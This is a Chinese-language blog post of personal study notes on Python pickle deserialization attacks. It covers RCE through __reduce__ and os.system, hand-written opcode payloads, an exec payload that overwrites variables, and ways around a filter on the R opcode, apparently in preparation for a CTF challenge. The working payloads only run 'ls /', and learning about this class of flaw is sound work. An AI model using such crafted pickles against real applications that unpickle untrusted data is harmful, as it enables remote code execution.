
本文共 4938 字,大约阅读时间需要 16 分钟。
目录:
知识来源哦哦:
要手写的话,看这个是p0写的,下面是p3写的,不方便看,
1.利用__reduce__方法来RCE
代码分析 + 实例熟悉
最最基本的别忘了,,

生成二进制码,并且利用 逆向分析工具
# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)
这段代码就是练习python反序列化的例子,
import pickleimport osimport pickletoolsimport base64class Student(): def __init__(self,name,grade): self.name = name self.grade = grade def __eq__(self, other): return type(other) is Student and \ self.name == other.name and\ self.grade == other.grade"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""res = pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.')print(res)
这是正常的 Student 的反序列化的 二进制码
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'
这个是 带有reduce的 student类
reduce实现如下:
def __reduce__(self): return (os.system,('ls /',))
这是生成的二进制码
b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.'
至于为什么 反序列化 时候,用
__reduce__
方法就能够执行呢。这个知乎的那篇文章已经讲的很清楚了,这里我只是自己输出一遍,看看自己理解的怎么样:
reduce呢,就是 两个参数,前面一个参数是方法,后面一个参数是一个字符串或者是元组,我们选择元组作为他的参数,也就是前面的那个方法的参数,这样就能够执行这个 方法了
而我们 学习那篇文章,又能知道 在反序列化时, R 操作符,会弹出栈顶两次,假设先弹出a,后后弹出b,那么就会执行b.a这样的方法,刚好和reduce方法一致,
这里我们看一下上面的 恶意的二进制的反序列化字符串:
res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')
c字符,__posix__.system
压入栈,然后 字符串ls /
入栈,然后执行 R 指令。
ls /
出栈,__posix__.system
出栈。执行__posix__.system(ls /)
的命令,就执行了RCE了。 这是我牵强附会写的,肯定不对,只是为了顺畅分析而已,还是要看那个知乎文章去。
更换指令执行RCE
然后我们就可以修改任意指令了:

读写文件

变量覆盖
b"\x80\x03cbuiltins\nexec\nq\x00X\x17\x00\x00\x00key1=b'999'\nkey2=b'666'q\x01\x85q\x02Rq\x03."
更换模块名可以执行
有了__reduce__之后,正常反序列化代码消失??
这是正常的 反序列化字符串
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'
这是带有 __reduce__
的反序列化字符串
res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')
可见,很多反序列化的信息都没有了啊,,,
没查出些什么来,就是说python会在序列化的时候调用 reduce 。。重磅: 如何手写opcode?
阅读一段最简单的代码:
见下图:

2.当禁止使用reduce的时候,也就是过滤了 R 的时候
1.全局变量包含:c指令码的妙用
我们先获取一个正常的 序列化 字符串
b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'
然后 用c 指令来进行绕过
这个是用c给代替了的,能够正常反序列化出来Student实例
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'
这里用的就是 c 来代替 。从而该改变了 内部的信息

我改了改,改成这个样子了
bb.py
# -*- coding: UTF-8 -*-import pickleimport osimport pickletoolsimport base64class Student(): def __init__(self,name,grade): self.name = name self.grade = grade def __eq__(self, other): return type(other) is Student and \ self.name == other.name and\ self.grade == other.grade"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""import bluedef check(data): if b'R' in data: print ('no reduce!') x = pickle.loads(data) # unserializtion if(x != Student(blue.name,blue.grade)): print('not equal >_<') print('wel dome')# check 里面写我们构造的 恶意的反序列话的 二进制的字符串check(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.')
blue.py
name = 'QAQ'grade = 'G666'
这里用的就是 c 来代替

3.绕过c指令的module限制:先读入,再篡改,
先看一下正常的 序列化什么样子
b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'
然后尝试和上面的一样,引入 blue 中的那些
这里!!!!!!!!!
修改的这里,我应该是要会手写进去的,而不是会复制粘贴进去修改成这样:然后放进去,就好了
b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

贴一下代码把:
没有留备份代码# -*- coding: UTF-8 -*-import pickleimport osimport pickletoolsimport base64class Student(): def __init__(self,name,grade): self.name = 'rxz' self.grade='G2'"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""import bluedef check(data): if b'R' in data: print ('no reduce!') exit() x = pickle.loads(data) # unserializtion if(x != Student(blue.name,blue.grade)): print('not equal >_<') exit() print('wel dome') exit()s=b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'s = pickletools.optimize(s)pickletools.dis(s)print(s)res = pickle.loads(s)print(res.name,res.grade)
4.不用reduce,也能RCE
这个我将P牛的文章 细细分析了一波,可以看一看。
基本功的第四点:
5.回到这个题上面去了,实践一下
发表评论
最新留言
关于作者
